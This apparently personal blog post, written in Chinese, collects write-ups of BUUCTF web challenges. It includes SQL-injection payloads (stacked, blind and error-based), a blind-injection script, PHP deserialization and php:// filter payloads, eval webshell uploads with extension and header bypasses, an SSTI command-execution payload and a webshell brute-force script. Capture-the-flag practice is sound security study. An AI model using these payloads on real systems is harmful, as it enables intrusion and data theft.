[强网杯 2019]随便注&&[GYCTF2020]Blacklist

改表名

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

预编译

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

handler

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

easyCalc

是一个计算表达式的网页,在源码中可以找到有一个calc.php,打开能看到calc.php的源码。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

设置了一层waf,num只能为数字和表达式,不能为字母和特殊符号,否则会返回Forbidden,这里可以用http走私来绕过waf

详情请看这里

payload:

POST /calc.php?num=readfile(base64_decode(L2YxYWdn)) HTTP/1.1
Host: node3.buuoj.cn:28450
Connection: close
Content-Length: 13
Transfer-Encoding: chunked
​
num=1
​
a

还能用php字符特性绕过waf,在num前加上空格,php能正常解析

[极客大挑战 2019]Http

网页源码中有Secret.php,

将Referer改为https://www.Sycsecret.com,UA改为Syclover,X-Forwarded-For改为127.0.0.1就能拿到flag

[极客大挑战 2019]PHP

打开之后有个小猫在这里,上面说到备份,随手试了一下就是www.zip就能下载到源码

image-20210227145120300

在源码中class.php中有定义了一个Name类

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

只要username为admin且密码为password就能拿到flag,而在index.php中有一段

$select = $_GET['select']; $res=unserialize(@$select);

可以对我们传入的select参数进行反序列化

但是反序列化的时候会调用__wakeup()魔术方法将username设置为guest。这里注意两个点:反序列化的时候如果属性个数的值大于实际个数时会跳过__wakeup()方法的执行。private修饰的变量反序列化的时候会有不可见字符%00。

这里构造

payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

然后就能拿到flag

[极客大挑战 2019]Upload

传文件,这里可以写个一句话的txt,然后把后缀改为jpg传上去

image-20210227151252154

然后抓包把文件后缀改一下,改为php是不让上传的,常见的后缀有php,php3,php4,php5,phtml.pht,改为phtml就能传了,但是后台把<?过滤了,这里可以用

<script language = 'php'>@eval($_POST['shell']);</script>

进行绕过,然后他这里后台还有个exif_imagetype函数,需要在文件头加上GIF89a,然后上传成功后访问/upload/文件名用蚁剑进行连接

image-20210227155705407

[极客大挑战 2019]BabySQL

过滤or and union select where,可以进行双写绕过,注入点在username,单引号闭合

剩下的步骤在这里

[SUCTF 2019]CheckIn

文件上传,先试了一下php文件,会给拦截,而且其他的几个后缀都不行。可以传txt,也可以传ini,那思路就是先传一个shell.txt上去,然后用.user.ini将shell包含在index.php里,然后就能拿到shell,这里先传了一句话,但是提示不能有<?,改成

<script language = 'php'>@eval($_POST['shell']);</script>

然后再传了。他后台还有一句exif_imagetype判断是否是图片,所以头文件要加上GIF89a。传完之后目录直接回显给我的,直接连目录下的index.php

[ZJCTF 2019]NiZhuanSiWei

可以直接拿到源码

<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

考点都是php伪协议

text=data:text/plain,welcome to the zjctf可以绕过第一层
file=php://filter/read=convert.base64-encode/resource=useless.php可以拿到useless.php的源码
password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}拿到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

过滤空格,union,不需要闭合,可以盲注

查询的时候用id=1^1^1回显为Hello, glzjin wants a girlfriend.(true)。用id=1^0^1,回显为Error Occured When Fetch Result.(false)

然后构造查询id=1^(ascii(substring((select%0aflag%0afrom%0aflag),1,1))>100)^1,回显为true,改成1000时回显为false,然后把以前的盲注脚本改一改就能注flag
import requests
#python里面好像用不了%0a,可以改成括号
for i in range(1, 43):
    left = 32
    right = 127
    mid = (left + right) // 2
    while left < right:
        url="http://7a3f7cb8-de67-4112-9c06-1c32fb0ac046.node3.buuoj.cn/index.php"
        data={
            "id":f"1^(ascii(substring((select(flag)from(flag)),{i},{i}))>{mid})^1"
        }
        if not requests.post(url,data=data).text.__contains__("Hello, glzjin wants a girlfriend."):
            right = mid
        else:
            left = mid+1
        mid = (left + right) // 2
    print(chr(mid),end="")

[极客大挑战 2019]HardSQL

sql注入,username和password都可以注

先测试万能钥匙’or 1=1%23发现过滤空格,换成’^1^’1成功登陆

image-20210228164835306

然后测试过滤的时候发现报错会回显,然后可以构造报错注入

image-20210228164951975
image-20210228165225768

payload:

?username=admin'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123456
?username=admin'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123456
?username=admin'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123456
​
#过滤空格,可以用括号进行绕过,还过滤了等号,但是可以用like()进行绕过,最后的payload只能注出flag的一半
substring(str,0,30)和mid(str,0,30)都是可以对字符串进行截取的,但都被过滤了
可以用left(password,30)和right(password,30)对字符串进行截取,然后能拿到flag
还可以用replace函数将注出来的flag前半段替换为空串,然后就能拿到后半段flag
​
?username=admin'^(updatexml(1,concat(0x7e,(select(replace(password,0x666C61677B62306530313839662D656434662D343931362D616334312D62,""))from(H4rDsq1)),0x7e),1))%23&password=123456

[网鼎杯 2020 青龙组]AreUSerialz

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

是反序列化题,通过GET方法传入一个str参数,然后然后判断字符串是否合法(ascii码为32~125),然后将其反序列化。析构时调用process函数,需要时op的值为2,然后可以读取文件,可以用弱类型比较绕过,析构函数中比较用的是op===’2’,而process中用的是op==’2’。isset函数会判断str是否合法,而protected类型的变量存在不可见字符,PHP7.1以上版本对属性类型不敏感,传入public类型的变量进行绕过。

payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";s:7:"content";s:1:"1";}

在源码中找到flag

[MRCTF2020]你传你🐎呢

传🐎上去,php是不让传的,先写一句话的php,然后将文件后缀改为jpg传上去,然后传入.htaccess文件,写入AddType application/x-httpd-php .jpg,将jpg文件解析为php,用蚁剑连接。传文件时需要将Content-Type改为 image/jpeg

[BJDCTF 2nd]fake google

看起来像SSTI,搜索{{1+2}},然后返回的值为3

image-20210305115621211
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
#可以看到根目录下的文件
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
#拿到flag
image-20210305115721827

[MRCTF2020]Ez_bypass

知识点

md5数组绕过

php弱类型比较

<?php
include 'flag.php';
$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
    $id = $_GET['id'];
    $gg = $_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if (isset($_POST['passwd'])) {
            $passwd = $_POST['passwd'];
            if (!is_numeric($passwd)) {
                if ($passwd == 1234567) {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                } else {
                    echo "can you think twice??";
                }
            } else {
                echo 'You can not get it !';
            }
​
        } else {
            die('only one way to get the flag');
        }
    } else {
        echo "You are not a real hacker!";
    }
}
else {
    die('Please input first');
} ?>

输入?gg[]=1&id[]=2然后用POST方法传一个passwd=1234567a

[强网杯 2019]高明的黑客

在/www.tar.gz下载源码,打开看到是3k多个php包,里面包含了很多shell,但是大部分都是这种

$_GET['jVMcNhK_F'] = ' ';system($_GET['jVMcNhK_F'] ?? ' ');

先将变量赋值为””,再拿去执行,所以几乎都是用不了的,可以写个程序去爆破一下,看看哪个shell是能用的

import os
import sys
import re
import requests
import threading
​
​
session = requests.session()
url="http://127.0.0.1/"#buu上面发太多请求会出现429 Too Many Requests,所以我是在本地运行的
def testfile(file):
    u = url+file
    with open(f"src/{file}") as f:
        texts = f.read()
        gets = set(re.findall("\$_GET\['(.+?)']", texts))
        posts = set(re.findall("\$_POST\['(.+?)']", texts))
        datas = {post: "echo 123456789" for post in posts}
        params = {get: "echo 123456789" for get in gets}
        response = session.post(u, data=datas, params=params)#先一次性把所有的GET和POST参数全部试一遍,如果有shell再找
        if response.text.__contains__("123456789"):
            print(file)
            for get in gets:
                response = session.get(f"{u}?{get}=echo 123456789")
                if response.text.__contains__("123456789"):
                    print(f"{file}?{get}")
                    sys.exit()
            for post in posts:
                data = {
                    post: "echo 123456789"
                }
                response = session.post(u, data)
                if response.text.__contains__("123456789"):
                    print(f"{file}+{post}")
                    sys.exit()
files = os.listdir("src")
for file in files:
    thread = threading.Thread(target=testfile(file))
    thread.start()

最后可以找到/xk0SzyKwfzw.php?Efa5BVG这个shell是可用的

(最开始我在testfile里又写了个for file in files,跑了一个多钟还没跑出来,删掉之后大概十分钟能跑出来)

找到参数之后去网站上输入/xk0SzyKwfzw.php?Efa5BVG=cat /flag就能拿到flag

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...